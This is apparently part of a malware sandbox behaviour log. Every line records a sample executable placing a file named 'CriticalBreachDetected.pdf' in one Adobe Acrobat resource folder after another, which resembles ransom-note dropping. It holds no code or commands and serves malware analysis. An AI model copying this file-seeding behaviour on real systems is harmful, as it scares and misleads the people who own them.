Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\activity-badge\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sk-sk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-si\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sl-sl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\tr-tr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\uk-ua\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-cn\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account\js\nls\zh-tw\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\add-account-select\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themeless_Reader\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themes\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\images\themes\dark\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\nls\sv-se\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\rhp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\ccpdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\cpdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\aicuc\js\plugins\selection-action-plugins\epdf\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\css\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\images\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\images\themeless\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ar-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ca-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\cs-cz\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\da-dk\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\de-de\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\en-ae\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\en-gb\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\en-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\es-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\eu-es\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\fi-fi\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\fr-fr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\fr-ma\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\he-il\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\hr-hr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\hu-hu\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\it-it\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ja-jp\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ko-kr\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\nb-no\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\nl-nl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\pl-pl\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\pt-br\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ro-ro\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\root\CriticalBreachDetected.pdf	Jump to behavior
Source: C:\Users\user\Desktop\lMNx3XfBrF.exe	Directory created: C:\Program Files\Adobe\Acrobat DC\Acrobat\WebResources\Resource0\static\js\plugins\app-center\js\nls\ru-ru\CriticalBreachDetected.pdf	Jump to behavior
